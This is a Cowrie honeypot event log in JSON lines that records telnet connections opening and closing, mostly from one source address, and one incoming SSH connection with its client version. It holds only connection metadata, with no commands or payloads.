{"eventid":"cowrie.session.closed","duration":32.30021357536316,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:32.538835Z","src_ip":"23.111.140.22","session":"f91eca23e7f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.932772397994995,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:32.824627Z","src_ip":"23.111.140.22","session":"f5d6cb35c9bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.886749267578125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:33.150996Z","src_ip":"23.111.140.22","session":"27ceba73e1c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52828,"dst_ip":"10.17.0.5","dst_port":23,"session":"52b188863678","protocol":"telnet","message":"New connection: 23.111.140.22:52828 (10.17.0.5:23) [session: 52b188863678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:34.084188Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51634,"dst_ip":"10.17.0.5","dst_port":23,"session":"c40307b9c39a","protocol":"telnet","message":"New connection: 23.111.140.22:51634 (10.17.0.5:23) [session: c40307b9c39a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:35.340516Z"}
{"eventid":"cowrie.session.closed","duration":30.912426471710205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:35.665267Z","src_ip":"23.111.140.22","session":"a887906e8bba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02995276451111,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:36.055305Z","src_ip":"23.111.140.22","session":"a653c728dc4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55254,"dst_ip":"10.17.0.5","dst_port":23,"session":"19ce175c516d","protocol":"telnet","message":"New connection: 23.111.140.22:55254 (10.17.0.5:23) [session: 19ce175c516d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:36.460359Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53040,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf12d178b24f","protocol":"telnet","message":"New connection: 23.111.140.22:53040 (10.17.0.5:23) [session: bf12d178b24f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:36.780694Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60094,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9d0dde42a5c","protocol":"telnet","message":"New connection: 23.111.140.22:60094 (10.17.0.5:23) [session: d9d0dde42a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:37.848758Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36002,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bc6922d8706","protocol":"telnet","message":"New connection: 23.111.140.22:36002 (10.17.0.5:23) [session: 8bc6922d8706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:39.189624Z"}
{"eventid":"cowrie.session.closed","duration":30.760913848876953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:40.258055Z","src_ip":"23.111.140.22","session":"49656b02afea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36592,"dst_ip":"10.17.0.5","dst_port":23,"session":"f54542592e93","protocol":"telnet","message":"New connection: 23.111.140.22:36592 (10.17.0.5:23) [session: f54542592e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:40.386483Z"}
{"eventid":"cowrie.session.closed","duration":31.652345418930054,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:40.909464Z","src_ip":"23.111.140.22","session":"0e7a7a83cba6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35334,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8a5d3679fe0","protocol":"telnet","message":"New connection: 23.111.140.22:35334 (10.17.0.5:23) [session: b8a5d3679fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:40.962387Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38970,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0e3ede20667","protocol":"telnet","message":"New connection: 23.111.140.22:38970 (10.17.0.5:23) [session: c0e3ede20667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:41.144635Z"}
{"eventid":"cowrie.session.closed","duration":33.40752363204956,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:41.169248Z","src_ip":"23.111.140.22","session":"e11aeb941c00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.23828887939453,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:41.364793Z","src_ip":"23.111.140.22","session":"19e5618b287b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.104774475097656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:42.344756Z","src_ip":"23.111.140.22","session":"491375487e06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.23655080795288,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:44.119232Z","src_ip":"23.111.140.22","session":"acc06ae1dc69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92054557800293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:44.335465Z","src_ip":"23.111.140.22","session":"f2078434998e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98646903038025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:44.460259Z","src_ip":"23.111.140.22","session":"61c377fee182","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49288,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f71e3ee91ce","protocol":"telnet","message":"New connection: 23.111.140.22:49288 (10.17.0.5:23) [session: 7f71e3ee91ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:44.754271Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57200,"dst_ip":"159.203.135.109","dst_port":23,"session":"e96ab1e3af9d","protocol":"telnet","message":"New connection: 174.138.46.234:57200 (159.203.135.109:23) [session: e96ab1e3af9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:45.484602Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57384,"dst_ip":"159.203.135.109","dst_port":23,"session":"90a28c7e44d6","protocol":"telnet","message":"New connection: 174.138.46.234:57384 (159.203.135.109:23) [session: 90a28c7e44d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:46.255033Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57402,"dst_ip":"159.203.135.109","dst_port":23,"session":"72299ed069ed","protocol":"telnet","message":"New connection: 174.138.46.234:57402 (159.203.135.109:23) [session: 72299ed069ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:46.346875Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57638,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcaa78b2b280","protocol":"telnet","message":"New connection: 174.138.46.234:57638 (159.203.135.109:23) [session: fcaa78b2b280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:47.014162Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34448,"dst_ip":"10.17.0.5","dst_port":23,"session":"396f9fae7752","protocol":"telnet","message":"New connection: 23.111.140.22:34448 (10.17.0.5:23) [session: 396f9fae7752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:48.361416Z"}
{"eventid":"cowrie.session.closed","duration":30.817825078964233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:48.499279Z","src_ip":"23.111.140.22","session":"f99a06068ee5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.55118274688721,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:49.668096Z","src_ip":"23.111.140.22","session":"a07eefdc97d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.2500684261322,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:50.143322Z","src_ip":"23.111.140.22","session":"df8ba0f50831","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25253939628601,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:51.130588Z","src_ip":"23.111.140.22","session":"d34e34f60309","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40122,"dst_ip":"10.17.0.5","dst_port":23,"session":"0725259cd326","protocol":"telnet","message":"New connection: 23.111.140.22:40122 (10.17.0.5:23) [session: 0725259cd326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:51.403124Z"}
{"eventid":"cowrie.session.closed","duration":31.485292196273804,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:51.636791Z","src_ip":"23.111.140.22","session":"cf12532ecc5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52766,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef6660f0a5aa","protocol":"telnet","message":"New connection: 23.111.140.22:52766 (10.17.0.5:23) [session: ef6660f0a5aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:52.004329Z"}
{"eventid":"cowrie.session.closed","duration":30.837871313095093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:52.153491Z","src_ip":"23.111.140.22","session":"e21a51eb447e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.968612194061279,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:52.223513Z","src_ip":"174.138.46.234","session":"90a28c7e44d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.890352010726929,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:52.237101Z","src_ip":"174.138.46.234","session":"72299ed069ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37658,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c56cf054026","protocol":"telnet","message":"New connection: 23.111.140.22:37658 (10.17.0.5:23) [session: 9c56cf054026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:52.519636Z"}
{"eventid":"cowrie.session.closed","duration":51.937079429626465,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:52.752326Z","src_ip":"174.138.46.234","session":"792ca2291944","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47290,"dst_ip":"10.17.0.5","dst_port":23,"session":"9714137fd710","protocol":"telnet","message":"New connection: 23.111.140.22:47290 (10.17.0.5:23) [session: 9714137fd710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:52.823782Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47758,"dst_ip":"10.17.0.5","dst_port":23,"session":"f54b96cfd7da","protocol":"telnet","message":"New connection: 23.111.140.22:47758 (10.17.0.5:23) [session: f54b96cfd7da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:52.938909Z"}
{"eventid":"cowrie.session.closed","duration":39.961782693862915,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:53.371790Z","src_ip":"23.111.140.22","session":"47c7be0472e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.907591104507446,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:53.392094Z","src_ip":"174.138.46.234","session":"e96ab1e3af9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7331805229187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:53.431041Z","src_ip":"23.111.140.22","session":"6ee2a58fe039","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.74575066566467,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:53.545815Z","src_ip":"23.111.140.22","session":"2001a9502d9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49756,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b9e14690f8f","protocol":"telnet","message":"New connection: 23.111.140.22:49756 (10.17.0.5:23) [session: 7b9e14690f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:53.638848Z"}
{"eventid":"cowrie.session.closed","duration":6.988566875457764,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:54.002644Z","src_ip":"174.138.46.234","session":"fcaa78b2b280","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51046,"dst_ip":"10.17.0.5","dst_port":23,"session":"f74ad3c92ac6","protocol":"telnet","message":"New connection: 23.111.140.22:51046 (10.17.0.5:23) [session: f74ad3c92ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:55.006177Z"}
{"eventid":"cowrie.session.closed","duration":31.273797512054443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:55.275588Z","src_ip":"23.111.140.22","session":"1457742d9808","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57818,"dst_ip":"10.17.0.5","dst_port":23,"session":"caae3d45971d","protocol":"telnet","message":"New connection: 23.111.140.22:57818 (10.17.0.5:23) [session: caae3d45971d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:56.272021Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59256,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c05013a2aa9","protocol":"telnet","message":"New connection: 23.111.140.22:59256 (10.17.0.5:23) [session: 3c05013a2aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:56.761434Z"}
{"eventid":"cowrie.session.closed","duration":32.96561574935913,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:57.742787Z","src_ip":"23.111.140.22","session":"ead97eb3992c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56408,"dst_ip":"10.17.0.5","dst_port":23,"session":"a727b11fdce2","protocol":"telnet","message":"New connection: 23.111.140.22:56408 (10.17.0.5:23) [session: a727b11fdce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:58.818415Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34930,"dst_ip":"10.17.0.5","dst_port":23,"session":"d46f33776373","protocol":"telnet","message":"New connection: 23.111.140.22:34930 (10.17.0.5:23) [session: d46f33776373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:59.074350Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35222,"dst_ip":"10.17.0.5","dst_port":23,"session":"dea9db4f4d4e","protocol":"telnet","message":"New connection: 23.111.140.22:35222 (10.17.0.5:23) [session: dea9db4f4d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:59.244321Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45524,"dst_ip":"10.17.0.5","dst_port":23,"session":"2040cd817e40","protocol":"telnet","message":"New connection: 23.111.140.22:45524 (10.17.0.5:23) [session: 2040cd817e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:01.873815Z"}
{"eventid":"cowrie.session.closed","duration":31.015409231185913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:01.890231Z","src_ip":"23.111.140.22","session":"29576e1c0b20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85321569442749,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:02.046852Z","src_ip":"23.111.140.22","session":"c2cc42434a71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36929678916931,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:02.119592Z","src_ip":"23.111.140.22","session":"53e114fe45b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48954,"dst_ip":"10.17.0.5","dst_port":23,"session":"1625b177b1b3","protocol":"telnet","message":"New connection: 23.111.140.22:48954 (10.17.0.5:23) [session: 1625b177b1b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:03.028901Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49858,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ae99ea5a25c","protocol":"telnet","message":"New connection: 23.111.140.22:49858 (10.17.0.5:23) [session: 5ae99ea5a25c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:03.378574Z"}
{"eventid":"cowrie.session.closed","duration":40.18828749656677,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:03.544043Z","src_ip":"23.111.140.22","session":"b0f371881f08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.77895998954773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:04.105206Z","src_ip":"23.111.140.22","session":"ddee1ae55cc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49866,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4b7bbbe3ec0","protocol":"telnet","message":"New connection: 23.111.140.22:49866 (10.17.0.5:23) [session: e4b7bbbe3ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:04.382611Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53034,"dst_ip":"10.17.0.5","dst_port":23,"session":"04dfde481967","protocol":"telnet","message":"New connection: 23.111.140.22:53034 (10.17.0.5:23) [session: 04dfde481967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:04.522045Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54684,"dst_ip":"10.17.0.5","dst_port":23,"session":"efb94c08e45e","protocol":"telnet","message":"New connection: 23.111.140.22:54684 (10.17.0.5:23) [session: efb94c08e45e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:05.018034Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52090,"dst_ip":"10.17.0.5","dst_port":23,"session":"13bcee90179f","protocol":"telnet","message":"New connection: 23.111.140.22:52090 (10.17.0.5:23) [session: 13bcee90179f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:05.184389Z"}
{"eventid":"cowrie.session.closed","duration":35.10148596763611,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:05.447145Z","src_ip":"23.111.140.22","session":"5e16316f97ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50770,"dst_ip":"10.17.0.5","dst_port":23,"session":"37ea67633bca","protocol":"telnet","message":"New connection: 23.111.140.22:50770 (10.17.0.5:23) [session: 37ea67633bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:05.466079Z"}
{"eventid":"cowrie.session.closed","duration":0.005315542221069336,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:05.471258Z","src_ip":"23.111.140.22","session":"37ea67633bca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53932,"dst_ip":"10.17.0.5","dst_port":23,"session":"3927b52bb7bd","protocol":"telnet","message":"New connection: 23.111.140.22:53932 (10.17.0.5:23) [session: 3927b52bb7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:05.820335Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47740,"dst_ip":"10.17.0.5","dst_port":23,"session":"6783ac0c44c6","protocol":"telnet","message":"New connection: 23.111.140.22:47740 (10.17.0.5:23) [session: 6783ac0c44c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:05.826394Z"}
{"eventid":"cowrie.session.closed","duration":35.81024241447449,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:05.925328Z","src_ip":"23.111.140.22","session":"571fe957c0dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.188408374786377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:06.528799Z","src_ip":"23.111.140.22","session":"c40307b9c39a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60332,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2972342fdc4","protocol":"telnet","message":"New connection: 23.111.140.22:60332 (10.17.0.5:23) [session: e2972342fdc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:06.888756Z"}
{"eventid":"cowrie.session.closed","duration":30.407235145568848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:07.187800Z","src_ip":"23.111.140.22","session":"bf12d178b24f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.284918546676636,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:07.745162Z","src_ip":"23.111.140.22","session":"19ce175c516d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.696560859680176,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:07.780577Z","src_ip":"23.111.140.22","session":"52b188863678","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33656,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a2e793ff2e9","protocol":"telnet","message":"New connection: 23.111.140.22:33656 (10.17.0.5:23) [session: 2a2e793ff2e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:08.401124Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":43472,"dst_ip":"10.17.0.5","dst_port":22,"session":"effb6b88605e","protocol":"ssh","message":"New connection: 59.17.95.129:43472 (10.17.0.5:22) [session: effb6b88605e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:08.758680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:08.764343Z","src_ip":"59.17.95.129","session":"effb6b88605e","protocol":"ssh"}
